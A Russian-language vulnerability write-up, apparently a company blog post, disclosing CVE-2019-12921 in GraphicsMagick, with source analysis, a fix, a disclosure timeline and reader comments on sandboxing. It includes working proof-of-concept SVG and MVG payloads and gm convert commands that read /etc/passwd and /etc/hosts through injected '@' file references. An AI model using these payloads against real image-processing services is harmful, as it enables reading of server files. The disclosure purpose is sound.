Трагедия не приходит одна


    В 2016 году уязвимость ImageTragick в библиотеке ImageMagick наделала много шума. Как способ снижения риска предлагалось использовать GraphicsMagick — форк библиотеки ImageMagick, нацеленный на более стабильный и производительный API. Оригинальная уязвимость CVE-2016-3717, обнаруженная stewie, позволяла злоумышленнику прочитать произвольный файл на файловой системе при помощи специально созданного изображения. Сегодня я рассмотрю аналогичную уязвимость в GraphicsMagick, обнаруженную мной в ходе анализа исходного кода библиотеки.


    Оригинальный эксплоит через псевдопротокол 'label' с сайта ImageTragick не отработает.


    push graphic-context
    viewbox 0 0 640 480
    image over 0,0 0,0 'label:@/etc/passwd'
    pop graphic-context 


    Причина в алгоритме обработке изображений ImagePrimitive файла render.c ReadImage не может обработать строку label:@/etc/passwd как изображение и вернет ошибку Unable to open file. Код функции:


    #define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0)
              if (!VALID_PREFIX("http://", primitive_info->text) &&
                  !VALID_PREFIX("https://", primitive_info->text) &&
                  !VALID_PREFIX("ftp://", primitive_info->text)  &&
                  !(IsAccessibleNoLogging(primitive_info->text))
                  )
                {
                  ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text);
                  status=MagickFail;
                }

    Тем не менее, возможность прочитать любое изображение на файловой системе остается, но может быть использована только для сбора внутренней информации. Пример эксплуатации данной "фичи" можно найти в отчетах BugBounty программ, например тут.
    Это и сподвигло меня детально изучить реализацию кодека Label в GraphicsMagick. Для этого выполним преобразование:


    $ gm convert label:@etc/passwd output.png

    Библиотека возвращает первую строку файла /etc/passwd, что означает что псевдо-протокол остается уязвимым, но в большинстве случаев не пригоден для злоумышленника, так как возможность повлиять на командную строку отсутствует. Чтобы разобраться как можно проэксплуатировать данную “фичу” давайте разберемся в причинах. Псевдо-протокол label производит преобразование строки при помощи функции TranslateTextEx:


    text=(char *) formatted_text;
      /*
        If text starts with '@' then try to replace it with the content of
        the file name which follows.
      */
      if ((*text == '@') && IsAccessible(text+1))
        {
          text=(char *) FileToBlob(text+1,&length,&image->exception);
          if (text == (char *) NULL)
            return((char *) NULL);
        }

    Функция принимает входной параметр formatted_text и если строка начинается со специального символа '@', то дальнейшая строка воспринимается GM как полный путь до файла, из которого необходимо прочитать содержимое для трансформации. Давайте рассмотрим другие места, где используется данная функция, которые могут быть проэксплуатированы злоумышленником.


    1. /coders/msl.c множественное количество вхождений, но данный язык используется GM в качестве скриптового языка для команды conjure и не будет рассмотрен в рамках данной статьи Эксплуатация возможна, но потребует специфической логики работы приложения
    2. /magick/attribute.c обработка атрибутов изображения. Функция TranslateText вызывается для атрибутов comment и label, когда они передаются непосредственно пользователем, а не хранятся в самом изображении. Разработчик оставил нам небольшую подсказку:


          Translate format requests in attribute text when the blob is
          not open.
      
          This is really gross since it is assumed that the attribute is
          supplied by the user and the user intends for translation to
          occur.  However, 'comment' and 'label' attributes may also
          come from an image file and may contain arbitrary text.  As a
          crude-workaround, translations are only performed when the
          blob is not open.

      Но что произойдет, если обработка функцией SetImageAttribute изображения будет выполнена уже после тога как, blob закрыт. Оказывается такий кодек есть — SVG. Цепочка вызовов функции ReadSVGImage выглядит следующим образом:


      • XML Parser завершает работу
      • CloseBlob(image) закрывает blob
      • Делегат MVG выполняет преобразование
      • SetImageAttribute(image,"comment",svg_info.comment) атрибуты comment и title будут записаны в изображение.


    Для успешной эксплуатации злоумышленнику необходимо, чтобы итоговый формат поддерживал данные атрибуты, например GIF, JPEG.


    <?xml version="1.0" standalone="no"?>
    <!--@/etc/passwd-->
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
    <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/>
    </svg>

    $ gm convert exploit.svg output.gif
    $ gm convert exploit.svg output.jpeg


    1. /magick/annotate.c следующий хороший вариант для эксплуатации функция AnnotateImage, которая используется:
      • /coders/txt.c аналогично с псевдо-протоколом Lablel протокол TXT: что не представляет особого интереса, так как для его эксплуатации потребуется доступ к командной строке.
      • /magick/render.c И здесь мы приходим к нашему финальному эксплоиту для примитива text Magick Vector Graphics, который имеет довольно простой синтаксис:

    text "text"

    Успешаня эксплуатации возможна, если строка будет начинаться со спецсимвола '@'.


    $ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png

    Данный метод крайне редко встречается в реальном приложении, однако существует способ эксплуатации данной уязвимость при помощи делегатов. Делегат — внешний обработчик изображения, формат которых не поддерживается библиотекой. Существует ряд кодеков, которые преобразовываются во временный файл и дальнейшая обработка выполняется псевдо-протоколом MVG. Как было отмечено ранее, таким кодеком является SVG.


    Эксплуатация CVE-2019-12921


    XML Parser SVG изображения выполняет преобразование разметки в промежуточный файл:


    FormatString(clone_info->filename,”mvg:%.1024s",filename);

    Преобразование тэга img имеет следующий код:


     case 'i':
          {
            if (LocaleCompare((char *) name,"image") == 0)
              {
                MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n",
                          svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width,
                          svg_info->bounds.height,svg_info->url);
                MVGPrintf(svg_info->file,"pop graphic-context\n");
                break;
              }
            break;
          }

    Для эксплуатации нам необходимо разорвать контекст строки при помощи обычной кавычки и добавить наш эксплоит:


    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" 
      "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="720px" height="720px" version="1.1"
         xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
         <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/>
    </svg>

    $ gm convert exploit.svg output.png

    Итоговое изображение


    Эксплуатация для других кодеков использующих MVG делегат останется на усмотрение читателя.


    Защита


    Обновленая версия GM доступна на сайте производителя. Фикс удаляет поддержку файлов при помощи спецсимвола @ на данный момент, Mercurial changesets 16037:f780c290b4ab и 16038:44e3d0e872eb для функции TranslateTextEx. По словам разработчиков, в дальнейшем данная логика будет возвращена в более безопасной реализации. В качестве временного решения советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY


    Timeline


    Информация об уязвимости была передана разработчику 6 июня 2019 года, позже того же дня вышел хотфикс. 15 июня 2019 вышло информационное письмо на www.openwall.com. 20 июня 2019 номер CVE-2019-12921 был присвоен данной проблеме.

    Wrike
    106,62
    Wrike делает совместную работу над проектами проще
    Поделиться публикацией

    Комментарии 3

      0

      *всматривается в аватарку автора*
        0
        А защита только одна — выделить для аплоада отдельный тазик, можно — виртуальный.
          +1

          Действительно, самым эффективным способом защиты является изоляция программного обеспечения, отвечающего за обработку непроверенных пользовательских данных. Есть хорошая статья, в которой описаны способы защиты ImageMagick:


          • Отказ от использования IM и переход на прямое использование библиотек libpng, libjpeg-turbo, и giflib;
          • Ограничение используемых кодеков средствами псевдо-протоколов convert [...other params...] -- jpg:input-file.jpg jpg:output-file.jpg с поддержкой только необходимого набора кодеков JPEG, PNG и GIF.
          • Изоляция кода с помощью seccomp-bpf или эквивалентного механизма, который надежно ограничивает доступ к системным вызовам.
            Все выше сказанное применимо и для GraphicsMagick.

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое